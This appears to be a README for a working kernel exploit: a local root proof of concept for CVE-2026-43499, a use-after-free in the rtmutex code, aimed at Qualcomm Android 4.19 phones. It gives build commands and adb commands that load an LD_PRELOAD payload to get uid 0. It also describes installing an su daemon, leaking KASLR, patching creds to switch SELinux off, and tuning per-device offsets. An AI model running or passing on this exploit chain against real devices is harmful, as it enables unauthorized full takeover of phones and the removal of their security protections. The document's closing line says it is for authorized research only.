CVE-2026-43499(GhostLock)rtmutex remove_waiter() UAF 本地提权 PoC,适用于高通 Android 4.19 内核(Redmi K40 / 骁龙 870 级别),基于 LD_PRELOAD
利用 CVE-2026-43499 实现的本地权限提升——这是一个 rtmutex remove_waiter() 缺陷,会让 struct rt_mutex_waiter 悬挂在等待者的内核栈上(kernel/locking/rtmutex.c,CWE-416 释放后使用)。改编自 NebuSec/CyberMeowfia(IonStack/CVE-2026-43499,Apache-2.0),适用于 Qualcomm Android 4.19.x 厂商内核系列。
4.19.157-perf-g9607d8651312(qcom,clang 10.0.7,SMP PREEMPT,aarch64)futex_requeue() 的代理锁回滚会调用 remove_waiter(),而该函数操作的是 current 而非 waiter->task——未持有 pi_lock 就进行 rb-tree 出队,导致 pi_blocked_on 悬垂,进而引发内核栈 UAF。受影响版本直到 5.10/5.15/6.1/6.6/6.12/6.18/7.0 才修复;4.19 没有反向移植(EOL),因此 4.19.157-perf 受影响。src/ adapted exploit sources (preload.so)
src/targets/oplus-4.19.157-perf/target.h per-device offset table (kallsyms-derived)
prebuilt/ compiled artifacts (aarch64)
adaptation-4.19.patch full diff vs. the upstream Pixel (6.x) code
Makefile, build.sh build entry points
configfs_read_file / configfs_write_bin_file 被放在 .read/.write fops 槽位(4.19 签名),读取原语使用简化的 count/page/ppos=0 伪缓冲区布局/dev/ashmem)——前缀长度为 0selinux_blob_sizes → 直接使用 cred->security(SELINUX_CRED_BLOB_OFF=0);struct seccomp 没有 filter_countASHMEM_MISC_FOPS = miscdevice.fops 槽位(ashmem_misc + 0x10)Linux / WSL(安装 Android NDK):
export NDK_ROOT=/path/to/android-ndk-r27c
./build.sh # or: make PROJECT=oplus-4.19.157-perf
输出:prebuilt/preload.so(LD_PRELOAD 载荷)和内嵌的 su_daemon PIE。
需要一个 ADB shell(普通的无特权 adb shell 就足够了——利用程序完全以无特权方式运行并自行提权)。
# 1. push the payload
adb push prebuilt/preload.so /data/local/tmp/
# 2. run the exploit against any command (here: id) via LD_PRELOAD
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
# expected on success: uid=0(root) gid=0(root) groups=...
# on failure the process exits 1 and the log below tells you where it stopped.
可选的单行变体:
# capture the exit status too
adb shell "LD_PRELOAD=/data/local/tmp/preload.so id; echo rc=\$?"
# interactive root shell (the exploit also installs an su daemon)
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/sh -c 'su -c id'"
每一行 pr_* 都会通过立即执行的 write()+fsync() 镜像到磁盘,因此日志轨迹在内核 panic/重启后依然存在:
/sdcard/Download/log_<timestamp>.txt
如果 /sdcard 不可用,回退路径为:/sdcard/Downloads、/data/local/tmp/log_<timestamp>.txt。
# after the run (even after a reboot):
adb shell "ls -t /sdcard/Download/log_*.txt | head -1"
adb shell "cat $(adb shell 'ls -t /sdcard/Download/log_*.txt | head -1' | tr -d '\r')"
关键日志标记:
preload starting pid=... log=/sdcard/Download/log_<ts>.txt — 载荷已加载slide-kaslr-ok ... base=... — 已获取 KASLR 基址pipe-physrw-summary ... root=1 ... — 已安装 phys RWuid_before=... uid_after=0 ... selinux=1->0 — creds 已修补UNVERIFIED——该阶段正是需要根据此日志按设备调优的地方。target.h 中标记,并在运行时记录为 UNVERIFIED。请根据 fsync 日志在设备上进行迭代调优。CONFIG_STATIC_USERMODEHELPER=y 禁用了 modprobe 路径技巧;主要路径是直接修补 cred。/proc/kallsyms)和 /proc/slabinfo 验证与你确切构建版本对应的偏移是否正确。Apache-2.0(上游:NebuSec/CyberMeowfia)。仅用于安全研究和经授权的设备 root。请只在你拥有的硬件上使用。